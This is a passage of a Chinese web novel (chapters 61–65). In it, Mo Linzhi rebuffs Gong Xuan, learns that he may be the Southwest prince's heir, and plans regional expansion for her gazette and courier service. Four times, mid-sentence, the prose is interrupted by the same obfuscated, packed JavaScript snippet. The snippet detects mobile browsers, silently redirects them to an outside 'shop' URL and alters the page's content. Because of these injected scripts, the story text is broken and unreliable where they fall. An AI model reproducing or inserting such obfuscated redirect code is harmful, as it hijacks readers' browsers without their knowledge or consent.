莫林知放下笔，看向龚煊，整个人很是公事公办：“什么事？” “我也想去沧——” “不行。”莫林知抢在前头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042546|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝，姿态很是果决，“后续所有的营销策划只由总部接活，其余诸城的《见闻》只承担信息改编的职责。所以，这一次，不管是你还是晚玉，我都不准备带。况且，你手上还有好几个活，做完了吗？我走之前可是要定稿所有的策划书！” 她一般有商谈余地的时候，哪怕不高兴，也只是皱着眉头，但会默许。反而是不容更改的时候会特别不客气地发出一连串反问，好似这样就压制住了对方一样。 所以，龚煊一看这反应就知道自己是没空子可钻了。不过，他既然来了，就不会只有一手准备，所以莫林知一说完，他就立马拿出自己的项目清单，指着上面两家她硬性划给他的商铺一脸光棍地求助：“其他我都有头绪了，这两个属实不在我的认知范围，既然你强行要丢给我，那是不是至少得引个路？” 莫林知：“······” 她半耷拉着眼皮，将无语表露得淋漓尽致：“既然长了眼睛耳朵和脑子就得物尽其用。我都恨不得一个人掰成两半用，你别给我没事找事！” “有吗？”龚煊无辜反问。 他捏着下巴，若有所思地端详着莫林知，看得莫林知心都有点慌了的时候，突然弯腰前倾，整张脸凑到了她近前—— 莫林知死死捏着拳，好悬没一巴掌直接扇过去。 而龚煊隔着一个拳头的距离观察着她，不止可以清晰地看到她眼里一闪而逝的慌乱，还有隐藏在浓密眉毛中间的一颗小痘痘——真可爱~ 连长的痘痘都和她的性格一样，哪怕心里再着急上火，表面都得不动声色。 所以—— “莫管事，你为什么突然对我这么不耐烦？” ——是因为看到了那张小像，对吧？ 莫林知看着那双写满未竟之意的眼睛，冷静对视几秒，冷嗤一声启唇：“我没有。” ——既没有对你不耐烦，也没有看到什么不该看的东西。 但，龚煊轻佻一挑眉，显然完全不相信。 他倒是也没有在这个问题上反复纠缠，只是进一步凑近，将唇附在了她的耳边—— 莫林知只觉得一阵浓郁的苏合香在鼻息处炸开，她不小心吸入一点，与龚煊如出一辙的苦辣之味将脑子里的思绪炸成了烟花。 正竭力保持清明，又或者干脆直接推开他时，就听得耳边一阵沉闷的笑声，紧接着，一个沙哑又性感得要命，仿佛带着钩子似的声音响起—— “做生意比男人还精明，怎么遇上感情就只会装傻这么青涩的手段？莫林知，我是不是可以理解为······你只是不擅长处理男人的好感，而不是拒绝我的意思？” “狗屁！这就是明摆着的拒绝！”莫林知想都不想就回复过去并忍不住爆了粗口，似乎觉得这样还不够，她直接飞起一脚冲人的膝盖踹了过去——当然，踹空了。 眼眸含冰地看着闪到2米开外的龚煊，莫林知掏出手绢，仔仔细细地擦拭着右边的耳朵：“以后说话离我远点，什么臭味都沾上来了。” 62. 下头 虽然知道她的行为有几分刻意，但龚煊脸色还是暗沉了下来。 若不是脑子里还有几分理智在，他真的很想让眼前这个女人好好感受下什么叫“被臭味沾染”。 拇指和食指慢慢摩挲着，最终，他手一捏，退到了安全距离：“抱歉，是我冒犯了。” 莫林知没有说“没关系”，她冷冷看着眼前男人，直白警告：“龚煊，如果还想好好待在《见闻》，就收起你那些不该有的小心思。” “不该有？哼！”龚煊才压下的火气腾地一下又冒出来了，“莫林知，情难自已不是什么触犯天条的大错吧？你不觉得自己这个态度有点过分吗？” “喜欢是你一个人的事情，作为另一方我只感受到了困扰。”莫林知丝毫不为所动，也从不接受任何PUA，“相反，基于责任心，我很坦诚的告知了我对你没感觉，让你能及时止损，为此，你应该感谢我才对。” “是啊，所以以身相许还不够吗？”龚煊勾唇。 “自视甚高、自以为是！”莫林知连用两个词精准点评，厌恶的眼神瞟他一眼，皱着眉命令：“不要拿你身为男人的物种条件来我这里找优越感，先好好学会‘尊重’两个字怎么写吧！” 莫林知自认该表达的都说完了，她懒得再纠缠，做出了送客的姿态：“出去！” 龚煊看着这个油盐不进的女人，磨了磨牙，死死按捺住了心里那个魔王，听话地离开了。 只是关门前，最后看向莫林知的那一眼，怎么看都透着“这件事没完”“我不会就这么放弃”的意思。 莫林知连白眼都懒得翻，面无表情地看着虚空，直接把人当空气。 只是心里暗暗决定：回去就催一催萧瑾的动作！！！ 让他赶紧把这个人的身份扒一扒她好尽早决定处理结果！ 她真的，最烦的就是这种听不懂人话，也不懂适可而止，自我感觉良好的人！ 还记得初入职场那会儿，也是每天早上莫名其妙在工位的笔筒里插着一朵白玫瑰。她私下打探了好几天，才终于借着前台那边的摄像头找到正主。 很遗憾，正主不是她的菜，所以她也没想吊着别人，干脆利落地拒绝了。 本以为这件事就到此为止，没想到一个多月后，公司年会将至，大家正在讨论要穿的衣服，这人突然当着所有人的面说自己没有合适的西装，让她下了班陪着去楼下的商场转转，出个主意。 莫林知：？？？ 他们是能给对方挑正装的关系吗？ 关键其他人还不停起哄，说什么“终于要公开了吗”之类的。 莫林知：······ 她当场就毫不客气的拒绝了，理由也很直白：我们不熟。 毫不夸张，当时整个办公室都安静了······ 就这还没完，后面过完年会，不知道这个人怎么传的，居然还有相熟的跑来问她，为什么分手，是不是真的因为劈腿什么的······就很暴躁。 莫林知直接提了离职，然后在别人问起来的时候当着全办公室的面直接说是因为受不了公司这个神经病没完没了的纠缠。 那个男的也很气，不顾场合地当场反驳，一条一条地摊开来说，结果没一条站得住脚的。也算是让莫林知出了口恶气。 说真的，有时候莫林知是真搞不懂，性别差异而已，会对一个人的大脑判断力造成这么大的影响吗？身体构造多了根东西就那么了不起，好像女人就离不开那根东西一样！ 简直就是······让人想起来都忍不住眼前一黑的程度。 莫林知心里忍不住骂骂咧咧，然后一遍遍看着眼前待完成的规划，让自己尽早冷静下来，专注到工作中——恶臭男真的不值得浪费她的时间。 但是要完全冷静下来又哪是那么容易得是事，下午，还没到下工时间，莫林知就提前收拾好了东西，然后叫上晚玉赶紧走人了。 屋内，龚煊看着莫林知那避之不及的姿态，脸色暗沉了下来。 回到王府，莫林知首先拉着晚香晚玉，将龚煊身份存疑的事情说了，并且仔细交代晚玉：“我留下的人都是和你这边关系不错的。李程江那边我也打好招呼了，你想做什么不用顾虑，他会配合你。所以，龚煊那个人，你一定要帮我盯死。” 临危受命，晚玉压下心里那点忐忑，用力点头保证：“您放心，不管他想做什么，都绝对不会得逞！” “嗯，也不用太过紧张。他是聪明人，在目的没达成之前，应该不会有什么妄动。”莫林知看出她的过分紧绷，又给人松松绑，“你也是，一切以自己安全为上，其他都是次要的。” “我知道。”晚玉早知她会这么说，露出一个灿烂的笑容。 今日回来得早，莫林知让晚香去太妃院子里跑了一趟，问今晚是否有荣幸和太妃一起共进晚餐，然后得到了意料之中的应允。 自七夕过后，她基本每周都会至少抽一天时间，去萧太妃院子里陪人用餐聊天，以纾解她的忧子之心。 莫林知不是一个有生活情趣的人，所以每次说的内容，基本都是生意场上发生的事情，比如前两天的干冰被窃事件。又或者，从前辈子里挑一些事情改改地名拿出来说。 其实有点枯燥无聊的。不过好在，萧太妃还挺喜欢听这些，有时候遇上萧瑾牵着莫林杰过来，两人也听得津津有味。 俨然把莫林知当成了说书先生一般。 今日也是如此。萧瑾听闻莫林知早早回来了，料想她应该会去母亲那儿用餐，便也让人去了后院那儿请示，最后心满意足地坐在饭桌上，听到了上次那个系列的续集。 只不过······今天这故事可不是白听的！ 眼看夜深了，两人一起告辞。走出去没多久，萧瑾就被莫林知抓住了命运的后脖颈。 萧瑾：“林知姐？” 莫林知抓着人的衣服把人拉住，开门见山地问了：“那个龚煊到底是谁？” “呃······”萧瑾眼神左右乱飘，“调查结果还没反馈回来。” “我不需要证据，只要你心里的一个猜测。” 莫林知肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050645|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着脸，态度和前两天大相径庭。本来还犹犹豫豫怕冤枉好人的萧瑾敏锐察觉不对劲，也变了脸：“林知姐，你是不是发现了他哪里不对劲？” 出乎他意料的是，莫林知否决了：“没有，我只是想让他走人，但是又担心这个人身份不对，反而让你失去了线索。” 闻言，萧瑾感觉更不对劲了——前两天林知姐都还说要对这个人委以重任，怎么现在无缘无故又要赶人走？ 呃，不能这么说，林知姐做事，肯定是有缘由的。只是，他暂时想不通这个缘由是什么。 萧瑾看莫林知执着想要一个答案的样子，先压下千思万绪，老老实实地说出了自己的猜疑：“小时候随父王兄长一起去皇城参加祭祖大典，和驻守西南的安王小世子不打不相识，后来，皇城奸佞当道，皇室式微，各藩王驻守边境拒受皇命，我们就再没见过了。” “所以······”莫林知心里隐隐有了猜测，但——那怎么可能呢？？？ 她抬眼，不可置信地看着萧瑾，见他肯定地点了点头，才恍惚着呢喃出那个答案：“西南王世子为什么要跑到北境来？？？就算想要合纵联盟，这距离未免也太远了吧！！！” 她有亿点点崩溃。 本来以为这朵烂桃花也就是家里有钱了一点，但那又怎么样呢，萧衍又不傻，难道看不住她的价值可抵别人一整个家族？ 哪怕是北境第一富豪的李家，她得罪也就得罪了。 结果，人家居然是与萧衍平起平坐的西南王继承人！可能还是带着某种任务来的。试问，如果到时候这个人跟萧衍开口要她，那萧衍是给还是不给？ 他会为了一个钱袋子开罪一个有实力的藩王吗？ 不是莫林知自我感觉良好，实在是，她太清楚某些男人的劣根性了——得不到的永远在骚动。 这种自命不凡的男人，骨子里的征服欲尤其重！ 莫林知已经在考虑要不要带着莫林杰先跑为敬了······ 可能是她的脸色着实难看到家，萧瑾忍不住伸手拍了拍她的肩膀：“林知姐，你没事儿吧？” 莫林知回神，看着他脸上不作伪的关切，刚才还跑马一样的想法立马收回——她甚至都脑补到了萧家人利用她创立的飞毛腿把她揪出来然后用莫林杰作威胁，把她扭送西南的场景。 呃···被害妄想症真的有点要不得。 不至于不至于，莫林知，想想萧家人这段时日对你的好，这么揣测别人真的额有点丧良心了。 总还是要对这个世界有点希望的。 莫林知拍拍脑子，然后挥挥手跟萧瑾告别：“没事儿了，就这样，再见。” 被用完就丢的萧瑾：“？？？” 总感觉这个“没事儿”背后隐藏着万千纠葛。要不要跟兄长说一说？可——要怎么说呢？ 萧瑾抓抓脑壳，一脸苦恼。 他都有点想找萧凛大哥顺便查查林知姐了——当然，这是不可能的。 兄长三令五申交代过，要以对待家人的真诚对林知姐和小杰弟弟。 63. 准备 得知龚煊可能的身份后，莫林知跟晚玉通了个气，然后决定采取冷处理。后面几天，莫林知甚至连《见闻》都没去，躲在院子里专心写这次的出差安排。 见闻这边四个人，飞毛腿那边林显和萧凛都会一起跟着，同时还有2名护卫，最后就是她和晚香两人了。 一共2辆马车，她和晚香一辆，另一个则用来放大家的行礼，男人们都直接骑马。 按照林显这次规划的路线，基本上每天都可以赶到一个城镇里，所以不用担心夜宿之类的。既如此，在收拾行李的时候，莫林知也采取了极简原则。 emmm，当然，这些杂活儿都不需要莫林知怎么操心，晚香一手包办好了，重点还是在沿途中的每个站点的工作访问上。 林显在扩张飞毛腿的过程中，也会时时刻刻来和莫林知确认他的想法以及下一步行动点，但是实际情况，终究还得看过才知道。 莫林知现在只能根据自己前世的经验，提前做一个预判。 例如货物的登记入库，仓库的管理，配送过程中的问题等等，她绞尽脑汁地开始回忆自己前世去公司仓库巡查时发现的问题，以及作为消费者在收快递过程中遇到的情况。 正产出艰难呢，院子里收拾的晚香进来禀报了，说是平安镇的林掌柜和方掌柜求见。 莫林知让人请进来，同时迎了出去，准备茶水糕点。 “莫管事。”林方两位掌柜一进来就先见礼，半点没有仗着以前的情分拿乔的意思。 弄得莫林知都有点不好意思。 “林掌柜，方掌柜，咱们之间这些虚礼就免了吧。你们这次来，我都没找找招待。”莫林知给人斟了杯茶，先寒暄了两句，“在平安镇还好吗？” “好，大家伙儿也都好，就是你不在，每天接送孩子都少了几分乐趣。”林掌柜笑呵呵的捋胡须，“不过，你的消息倒是一直没断过，大家见到你大展所长，在定安城如鱼得水，也都替你高兴。” 想起那些豪爽热心的街坊邻居们，莫林知眼神里也透出一丝怀念——如果不出意外，平安镇应该就是她以后养老定居的地方了。 只希望那天可以快点到来。 “平安镇我一定会回去的，希望到时候，大家还能记得我。”莫林知说这话时神色柔和，眼含眷恋，一看就是真心实意。 林掌柜见状，有点小惊讶。 他见过太多年轻人向往高处而不择手段的，总觉着“会当凌绝顶，一览众山小”才够痛快。就连他自己以前也不例外，直到后来，一场接一场的战争，眼看着家族的人一个个离开人世，他才看透了这些虚妄的东西，扎根在平安镇。 按理说，莫林知现在应该正是意气风发的时候，但是怎么感觉·····言辞中透露出一丝暮气？ 林掌柜有些纠结——他和这个孩子有缘分，但也知道她很独立排外，所以不知道此时是不是应该多关心探问两句。 旁边，方掌柜就没他这些细腻的小心思了。他今天找上门，是有正事要办的。 本来和林掌柜一起上门是想着他们更熟悉，好开口，结果谁知道，这姓林的这么不顶用，没聊两句就哑火了。 方掌柜心里嫌弃得不行，面上乐呵呵地凑了上去： “那个······莫管事，我这次来其实是有事相求。”他苍蝇搓手状，说到关键处还露出一丝不好意思，“那个干冰，能不能给我们惠民酒楼也提供一点？我听吴大掌柜说，您要拿这东西进行拍卖。可俗话说得好，肥水不流外人田嘛~~” “可以按照火锅店的采购价给你们提供一批。但是惠民酒楼是小本经营，用了这个干冰之后，你们的投入产出比是不是能保持上涨，还是说带来了不必要的支出，这一点要方掌柜你自己考虑清楚了。”莫林知没有为难，爽快答应了。 当然，如果惠民酒楼现在的管事人还是她，那她肯定是拒绝的。 原因无他，惠民酒楼的利润空间，太小了。从平安镇飞毛腿的盈利报告也不难看出，惠民酒楼现在的营收，一般都来自于外送业务。 这种情况下，干冰或许能吸引人坐堂吃饭，可，于营收而言，其实没什么实际效用。 整个平安镇就那么大，能挖掘的市场都挖掘了。方掌柜真正要做的，其实是不断精进后厨的业务能力，换着法子更新菜品。 不过方掌柜想上进的心是好的，而且会议上她自己也说过，任何想法，都要在尝试后才有结论。所以即便不太支持，莫林知也没有直接拒绝，只是委婉给了提示。 方掌柜不傻，莫林知的言下之意他立马懂了。 他沉吟半响，终究还是不甘心这么放弃，于是长叹一口气，惭愧地行了个礼：“那就劳烦莫管事，中秋那几天给我们提供一周的量吧，我作为福利放出去。” 他不是不知道好歹，只是······干了这行这么多年，虽然现在的营收是人生巅峰吧，可——店里没有人算怎么回事？ 哪怕日进斗金，可店里冷冷清清的，那还叫酒楼吗？ 方掌柜之前心有不甘还能压下去，可见识了火锅店的热火朝天之后，他眼红了。这种人山人海，供不应求的盛况，才是他梦寐以求的职业成就！ 别人可以，他也可以！ 就冲着这个信念，方掌柜这几天几乎都泡在了两家火锅店，可惠民酒楼和火锅店的菜色运营实在相差迥异，他观望了几天，最后决定先拿干冰试试。 不过······一码归一码，干冰可以试试，其他的——也不是不行吧？ 方掌柜眼珠一转，舔着脸又凑上去了：“那个，莫管事，咱平安镇不能也搞个火锅吗？” 这一次，莫林知想都不想，断然拒绝了：“平安镇的消费跟不上，我保持原价卖，有几家几户能吃得起？我降价卖，消息传到定安城，我现在这两家怎么立足？” 诚然，看到火锅大卖，后续必然有人效仿，且这个行业可能会进入一段时间的价格战，但这个头不能是她自己开。 方掌柜一听也立马意识到了——他真的是被火锅店的热闹繁华冲昏头了，连平时的警醒都没了。 方掌柜臊红着一张脸，连连道歉，莫林知见状， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077159|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓了脸色，笑容重新回到脸上：“没事，我和方掌柜也共事过一阵子，知道您就是太想做出一番成绩而已。心是好的，而且都是内部几个人，就算偶有错漏，也影响不大。” “是，是，我就是太着急所以思虑不周，还是莫管事懂我。”方掌柜连连附和，擦着额头因为刚才着急而冒出的汗。 林掌柜见状，撇过头偷笑。 让这老头刚才还暗地挤兑我，现在怎么着，漏脸了吧~ 莫林知没管两位老熟人之间的眉眼官司，倒是经方掌柜这一提醒，她突然也想到一件事：自己光顾着赶紧去沧澜城抢占据点，却忘了顾及家门口了。 平安镇作为她的老家，难道不是事半功倍，更容易达成吗？ 但是原定的行程她也不想改，莫林知思忖了一会儿，看向了林掌柜：“林掌柜，我想尽快让《见闻》在定安城下辖的城镇推广开来，但是目前人手不够用，您可否抽出部分精力协助下？主要的事情我会交代给林显，就是在内容和一些对接流程上需要您帮着把把关。” 莫林知觉得这样说不够详细，让晚香取来一份样品，指着上面的内容仔细详说：“您看，这个上面的内容，大部分都是风月话本传说，是可以通用的。但是像后面丽颜的这部分，我就需要在每一期都加上一块‘该产品飞毛腿有代售，价格和活动与店铺保持一致，欲购从速，可送货上门。’这样的信息了。” 林掌柜不愧是谋士出身，一眼就看出其中关窍：“你是想利用《见闻》来卖货？” “对！不只是丽颜这样的产品，还有当地各个村镇的特色农产品，其实都可以刊登在《见闻》上，有需要的可以找见闻下单，甚至可以开启‘团购’模式，飞毛腿从卖家和买家这边收取一点跑腿费。” 最初的最初，飞毛腿刚刚出现时，莫林知就瞄准了一个核心赛道：助农产品。 别说什么农民为了多赚点，宁愿背着自家产品走老远到镇上去卖个好价钱之类的话。要知道，北境地广人稀是个什么概念？ 农作物成熟的时候，那真是一茬接一茬，一天往镇上跑2躺都不嫌多的。可偏偏家里人手不够用，哪来这么多闲时跑镇上？ 尤其是离镇子远的，来回一趟两三个时辰就没了，摆个摊还得花时间卖吧？好家伙，大半天也没了。 如果《见闻》可以把这个产品的品鉴结论、效用、价格都公布出去，买家找上门，飞毛腿一次性拉货，对于那些农民而言，每斤少个一两文也是划算的。省出来的时间，他们还可以多开垦两块荒地。 莫林知的飞毛腿可是价格公道童叟无欺的，这样的链路，简直是买家、中间商和卖家的三方共赢。 助农赛道，不仅可以让北境的土地资源得到最大化利用；以后去了其他藩王地域，有前面的铺垫在，也可以更好的掩护她做一些小动作。 ——比如把其他地方的物资偷偷转运到北境，给萧衍做战备储存。 因为这样的念头，才有了后来的《见闻》。 也因此，她对《见闻》除了娱乐性和吸睛的要求外，还有公信力！ 64. 对峙 因为行程的临时更改，莫林知叫来林显和何梅，让他们一起参与讨论。 定安城下设5县21镇，莫林知想的是，在每个县城设置一个《见闻》分部，由他们进行当地素材的收集和编写，然后下发印刷坊。 各个乡镇飞毛腿根据每一期的订购数据反馈需求，层层上报，县级飞毛腿汇总需求给到印刷厂，印刷厂按需印刷，然后再层层分发下去。 与此同时，她向‘丽颜’订购的一批货品，也可以先在本地进行试卖。 “分发下去的内容，注意优先级。比如头版头条，可以换成丽颜的那几期干货教学。李程江那几篇可以保留，但是火锅店毕竟不在下设的县镇里，所以内容优先级可以次一级。”莫林知仔细交代何梅，就怕她因为上下级，或者碍于李程江这个负责人的面子而不好意思撤换内容，“你首先要保证的事《见闻》的受欢迎度和销量，因为只有有人看，我们的东西才能卖得出去。其次就是以当地本土化的卖货为主，这部分你要多和林显这边保持沟通。” 何梅用力点头，有些紧张又有些兴奋。 这还是她第一次独当一面去做一件事。 莫林知也懂，而且，何梅其实是个内秀的人。所以，在招人、培训等事情上，她还有点担忧。 不过，人都是环境动物，不放出去，怎么知道她是不是能振翅高飞呢？ 莫林知拍拍何梅的手，给她打了一剂强心针：“不管什么时候，不要怀疑自己的判断力。你要相信，你能进《见闻》，能被选中做这件事，那就一定有你的优势在。有问题随时和林显、林掌柜沟通。但你一定要记住——” “你才是《见闻》分部的主导者。” 莫林知的语气不疾不徐，最后一句话说出的时候，何梅的眼睛亮了。 不得不说，莫林知当着两位林掌柜的面，直白地对她说“你才是《见闻》的分部的主导”，真的就像在她起伏不定的心理放了一根定海神针。她的精神内核一下子稳了。 这种基于信任的权利交付，胜过万千夸奖和肯定。 何梅抿唇，露出一个有些羞涩的笑容，向莫林知保证：“您放心，我一定好好把这件事办成！” 莫林知理所当然答道：“我当然的是放心的~放手做，没关系。” 交代完何梅这边，她继续看向林显：“印刷坊那边我会让他们分一组技师配合你们的行动。选址建坊一定要走在前头。内容完全交给何梅，但是我也说了，《见闻》的本质是卖货，飞毛腿一定要多去村里跑一跑，及时了解货源信息，城里的也要多关注下身边街坊店铺的需求，内部互通消息，及时反馈给何梅这边。” “这个是飞毛腿的新增业务，中间的流程还得你仔细梳理。比如飞毛腿和《见闻》之间的配合该怎么打，飞毛腿把货物拉回后，怎么分拣配送，以及货品的质量，顾客的满意度这么保证等等，每个环节都需要你参与到，及时发现问题，解决问题。必要时多请教林掌柜。” “林掌柜见多识广，人脉比你我都深，我特地请他协助，就是为了让你们少走弯路的。” 林显默默着点头，就简简单单两个字：“放心。” 他们的事情交代好了，最后就是自己这一块儿了。莫林知看看自己路线安排，在最后加上了一笔：“我回来的时候会顺便巡查一遍你们这边的进度，有什么问题随时保持联系吧。” 交代完，她习惯性地拍拍手：“那成，大家各自准备去。林梅，你这边家里如果有什么顾虑直接提出来，如果需要额外带人也行的。” 她特地这么交代，是因为林梅家里有一个五六岁的孩子。她夫君在外地做工十天半个月才回来一趟，家里就婆婆一个人，所以，考虑到一些现实因素，她愿意给人开个绿灯。 林梅犹豫了一下，最终还是没舍得拒绝，轻轻点了点头。 说完之后，莫林知就给林梅放了假，让她直接回家去商量了。 至于林显，被她留下，和林展柜、方掌柜一起吃个晚饭。 她总该尽尽地主之谊的。 一顿饭也没吃很久，林掌柜和方掌柜明天就准备返程了，为了不耽误事儿，酒都没喝两杯。林显和何梅后天出发，时间也很紧。 饭毕，莫林知亲自将人送出府，然后打转回院子。 如果不出意外，他们下一次见面，应该是年度述职的时候了。 希望到时候，是一波大丰收吧。 临时更改计划，并调走何梅显然让李程江感到不爽了。第二天，莫林知在院子里都收到了李程江的手书一封，专程来控诉她的过分行径。 接下来要卖干冰，还要配合龚煊和晚玉手头的几个客户进行内容撰稿，整个内容就是不断扩充中，偏偏这个时候人都被莫林知抽调走了······ 李程江：#￥#￥%@#！ 她不止将用得上的抽调走了，还留了个大麻烦给他。 这两天都不知道怎么回事儿，龚煊脾气爆了不少，每天沉着脸跟所有人欠他银子似的。基本上，平均每天，和身边的每一个人，要发生至少一起语言冲突。 逼得李程江这种懒散不管事儿的人都发了次脾气。 莫林知看完李程江的通篇抱怨，直接忽视了他说工作量变大的那几行信息，只对龚煊这个人做了个回应。 很简单一行字—— 如果压制不住就让他直接滚蛋。 既然不是探子奸细，那莫林知就没什么可顾忌的了。 而且，她自己也还烦着呢——龚煊这身份，肯定是不能被派去南下给她开疆拓土的。她现在不止要另外盘算人选，还捧了个定时炸弹在手上。 所以吧，这个人最好赶紧、利落、圆润地——GUN！ 几欲穿透纸张的一行话就这么被传到了李程江手上，傻子都能从这字迹上看出下笔之人的情绪有多厌烦。 李成江也没多说，只是把龚煊叫了进来，将纸张原封不动地交给了他。 下一秒，龚煊本就不爽的脸色变得难看至极，恶鬼一样。 李程江心里的猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13091677|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测得到证实，他面上不显，只是作为同病相怜的人，好心给了一句劝告：“莫林知这个人，和你之前见过的任何女人都不一样——她没有心的。” 龚煊眼神如刀看过去。 李程江：“或者说，她的心从来不在俗世繁华中，她喜欢的想要的只有自由。权势财富这些东西，如果可以助她获得自由，她就会喜欢，如果成为她走向自由的绊脚石，她就会摧毁。” “龚煊，你想成为他摧毁的目标吗？” 龚煊的脸色千变万化，末了，他嗤笑出声：“这就是你不敢靠近的理由？懦夫！” 即便好心被驴踢，李程江也不见半点生气，反而勾唇一笑，摊手反问：“欣赏一个人难道就一定要得到手吗？像现在这样，我是她一路同行的最佳拍档不也挺好的？” “这个世界上，没有人是可以永远步调一致的。两个人即使在一起，之后也可能因为方向不同而分道扬镳。所以，志同道合的人来了，坦然欢迎；离开了，不妨独自欣赏沿途的风景，相信过不久，总会遇到下一个同行人。” “没有谁的出生是为了成为另一个人的私有物。我不知道我算不算懦夫，但我知道，你一定是她最讨厌的那类人。” 李程江的评判让龚煊下颚一紧。 原因无他，只是被说中了而已。 李程江笃定的话语和莫林知那厌恶的眼神交相闪现，让他怒火中烧的大脑慢慢冷静下来。而恢复了判断力后，龚煊更加清醒的认知到，李程江说的半点不错。 正如他刚刚说的：没有谁的出生是为了成为另一个人的私有物——这句话和莫林知那句“尊重”又何尝不是一个意思？ 龚煊冷眼看向眼前男人，不得不承认——李程江比他更懂莫林知。 可那又怎样呢，这个看似距离莫林知最近的男人，早就已经自判出局了！而他，绝对不会放弃！ 龚煊冷冷勾唇，将纸条对折再对折，然后往怀里一揣，走了。 与来时不同的是，他的神情中已经没了先前的暴躁易怒，反而有种久违的，冷然和清明——这样的龚煊，和萧衍有部分相似，哪怕莫林知见了，可能也会心悦诚服地叹一句：这才是她想象中能担任西南王继承人的样子吧。 此后一连几天，大家稍安无事。直到新一期《见闻》发布，上面宣告后续每周可提供50块干冰对外销售，感兴趣的可以去飞毛腿进行竞价，规则和《见闻》当初头版头条的盲拍一样。 只不过干冰明确规定了底价：每块100两起，至少5块起拍。 也就是说，成本500两起步。 不得不说，这个价格属实不低了，但是也要分人。 如果是像火锅店一样，用来做生意的，那这个成本自然是不划算的。可对于李家这种巨富人家来说，花5000两买一个噱头和声势，那就很值了。 当天，定安城飞毛腿总部收到了十几封竞拍信函。 莫林知打开，将一分没加的那些都去掉了，然后带着剩下几封去了《见闻》。 65. 问题 时隔几天没来了，乍一见到龚煊，莫林知还以为时光倒流了——现在的龚煊，简直和面试之初相差无几。 冷然、干练、深不见底、难以捉摸。 对比之下，前几天那个仿佛被什么狗血霸总魂穿了一样。 莫林知不着痕迹收回目光，探询的看向李程江：你怎么他了？效果这么好？ 李程江但笑不语。 见他没有回答的意思，莫林知也歇了八卦的心思——龚煊终究不是她此行的目的。 她将两份盖有李家印章的竞价函放到李程江面前，调侃道：“几个意思？你们内部开始争权啦？” 没错，李家这次投了2份。而且有意思的是，一份的出价比另一份刚好就多1两。一看就是就是故意的。 她是不懂这背后关窍的，不过李程江好歹是她合伙人，就把选择权给他吧。 “总之这次的干冰肯定是你李家的了。具体给谁······你自己决定吧，到时候留个地址，我让飞毛腿直接送过去。” 李程江拿起两张纸一看，有一瞬无语：“加一两那个是我侄子的字迹，估计是为了拿去给狐朋狗友炫耀，不用搭理。” 他的侄子······莫林知好像有点印象了：“就是火锅店开业那个冲1000会员的傻白甜？” 李程江投以疑惑目光：“傻······白甜？” 莫林知尬笑两声，转移话题：“那这个信息你回去了自己传达一下，我就不派人上门了。”说完她拿起另外几封赶紧溜了。 看着她兔子似的背影，李程江失笑摇头。 他大概知道“傻白甜”是什么意思了，不得不说，还挺精辟顺口。 再过两天就是出差的日子了，在走之前，莫林知要把事情都交代清楚。尤其是龚煊和晚玉手上的那十家商铺的合作案，是重中之重。 这下，就算莫林知再不想见到这人，也避无可避。好在，中间还有个晚玉。 他们两个人挑的商铺类型可以说很具性别特色。晚玉基本都是胭脂首饰，绫罗绸缎；龚煊挑的都是文房书画类，然后被莫林知硬塞了两家杂货铺和沽酒坊。 而晚玉的策划，基本都是边写边给莫林知看过然后修改了定稿的，问题不大，莫林知略略扫一眼就放下了，龚煊这边······问题和他面试时暴露的一样，手段有些极端。 按他的做法来执行，做完之后这个行业基本就一家独大了。而且，过于依赖王府的力量——一看就是权贵典型粗暴的解题方式。 莫林知把自己觉得有问题的点都圈出来，然后写上了具体的调整方向，重新打回给他，最后对两人交代：“节日不是快到了吗？《见闻》也是时候发一点福利出去了。你们拉着商务一起，盘一盘《见闻》目前合作过的商家，然后一家一家上门去谈点福利来。” “比如满减优惠券或者单品优惠券，又或者是消费满多少送一个订制礼物。具体形式你们自己想，商家提供福利，《见闻》免费提供信息发放渠道和海量用户基础。虽然双方之间没有实际的费用产生，但有一点要强调：《见闻》的福利必须是独一份的。” 